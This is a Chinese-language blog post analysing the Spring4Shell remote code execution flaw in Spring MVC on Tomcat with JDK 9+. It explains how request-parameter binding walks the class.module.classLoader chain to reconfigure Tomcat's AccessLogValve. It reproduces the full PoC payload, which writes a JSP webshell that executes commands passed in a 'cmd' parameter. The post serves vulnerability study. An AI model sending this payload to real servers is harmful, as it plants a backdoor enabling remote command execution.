Spring4Shell的漏洞原理分析
Spring框架最新的PoC
这两天出来的一个RCE漏洞,但是有以下的条件限制才行:
必须是jdk9及以上 必须是部署在tomcat的应用 是springmvc的或者webflux的应用
具体的可以查看spring官方:
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
我看到这个漏洞的时候,就去查了以下怎么利用的,github一搜很多py脚本。
但是我没找到漏洞利用的原理,所以我就自己做了个demo,然后debugger了一下,原来是这样~
漏洞利用的原理
我们都知道,我们在springmvc的时候经常会这么写代码来接收前端传来的参数
@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {
String email = requestparams.get("email");
String username = requestparams.get("username");
model.addAttribute("data", "email:" + email + " username:" + username);
return "index";
}
如果我们这么访问:
http://localhost:8080/vulnerable_war/register?email=11&username=b
那么返回的结果就是这样:

那么如果我们把接收的类型从Map转成一个POJO的话,就像这样:
@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {
model.addAttribute("data", obj.toString());
return "index";
}
访问一下:

这说明了,springmvc框架帮我们做了一个很重要的事情:
通过我们请求的数据,转成了POJO对象。
恰巧就是这个非常好用的封装导致了这个POC
解析POC第一步:到底构造了一个什么数据会引发呢?
跑的环境是:
jdk11 tomcat8.5.58 spring-webmvc5.3.15
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
将上面的数据用下面post的方式调用下面的接口

@RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {
}
注意header里面的值是需要的,目的是为了迎合tomcat日志的pattern(下面会讲到)
%i 这个语法是从请求的header里面拿xxx
就会在tomcat的Root目录下生成一个jsp文件

内容如下:

计息POC第二步:jsp文件是怎么生成的?
方法接收的class:HelloWorld,我这么传,spring框架是怎么来处理的呢?

根据HelloWorld的实例
结合传过来属性路径: class.module.classLoader.resources.context.parent.pipeline.first.pattern
然后一步步的运用反射来去拿属性对应的值,这个例子的话就是
调用HelloWorld的getClass() 拿到Class对象 通过class对象调用getModule() 通过Module调用getClassLoader() 通过ClassLoader拿resources context是Tomcat的StandardContext parent拿到的是StandardEngine pipeline拿到的是StandardPipeline first拿到的是AccessLogValve
可以在下图所示设置断点:就可以看到上面说的每一步了
主角上场:
AccessLogValve是tomcat记录日志的,
pattern是日志格式 suffix是日志文件的后缀 prefix是日志文件的前缀 fileDateFormat是日期文件的时间格式
谜底揭晓
根据以上分析,我们知道,传过去的data由对象的class作为引子,然后springmvc会一步步反射拿属性的方式最终是给AccessLogValve对象的几个属性的赋值操作
经过对tomcat的处理请求的日志管道(AccessLogValve)的改写,导致当前请求会被触发记录日志,日志会按照我们想要的方式生成了一个jsp文件。

为啥是jdk9及以上版本呢,因为module的概念是从jdk9开始的~
为啥是得部署到tomcat里的应用呢,因为只有这样才会利用它的日志功能~
spring是咋修复的

Spring4Shell的漏洞原理分析的更多相关文章
- Heartbleed心脏出血漏洞原理分析
Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述 OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
- 打印机PCL漏洞原理分析
0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...
- 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现
影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...
- Xss漏洞原理分析及简单的讲解
感觉百度百科 针对XSS的讲解,挺不错的,转载一下~ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...
- 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗
文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...
- [web安全原理分析]-SSRF漏洞入门
SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...
- [web安全原理分析]-XEE漏洞入门
前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...
随机推荐
- php模式的设计
工厂模式是我们最常用的实例化对象模式,是用工厂方法代替new操作的一种模式. 工厂模式有一个关键的构造,根据一般原则命名为Factory的静态方法,然而这只是一种原则,虽然工厂方法可以任意命名这个静态 ...
- thinkphp 登录(未设置cookie+session)
<?php namespace app\Admin\controller; use think\Controller; use think\Loader; use think\Request; ...
- L2Dwidget二次元前端添加人物插件
如果想要在博客园上添加这个插件,只需要在设置的"页首html代码"中添加下面的js就行 <!-- 右下角live2d效果 --> <script src=&quo ...
- mixin混入
mixin(混入) 功能:可以把多个组件共用的配置提取成一个混入对象 使用方式: 第一步定义混合,例如: { data(){.........}, methods:{.........} ...... ...
- 假设检验的python实现命令——Z检验、t检验、F检验
Z检验 statsmodels.stats.weightstats.ztest() import statsmodels.stats.weightstats as sw 参数详解: x1:待检验数据集 ...
- AT2300题解
两种做法都说一说吧... 题意很明确. 1.数论分块 对于一个 \(d\) 和给定的 \((l,r)\),\((l,r)\) 对其造成贡献的条件很明显是 \(\lfloor \frac {l-1} d ...
- 魅族mx3手机 固件升级方法
1.正常手机刷机,升级固件的方法 我今天3.5升4.2.8都提示固件损坏 后来我找客服 一定要用电脑下3.8固件 然后按住开机和音量+ 进入刷机模式 然后连接电脑 电脑会给你一个900mb的磁盘 拉进 ...
- CVE-2017-12615漏洞复现附EXP
CVE-2017-12615复现 0x00 漏洞介绍 漏洞编号: CVE-2017-12615 CVE-2017-12616 漏洞名称: CVE-2017-12615-远程代码执行漏洞 CVE-201 ...
- CF786B/CF787D Legacy
题目描述: luogu cf cf 题解: 最短路+线段树优化建图. 考虑本题的边是点->点.段->点和点->段,我们可以建线段树然后拆成入点和出点. 入点:儿子->父亲,边权 ...
- 使用过 Redis 分布式锁么,它是什么回事?
先拿 setnx 来争抢锁,抢到之后,再用 expire 给锁加一个过期时间防止锁忘记了 释放. 这时候对方会告诉你说你回答得不错,然后接着问如果在 setnx 之后执行 expire 之前进程意外 ...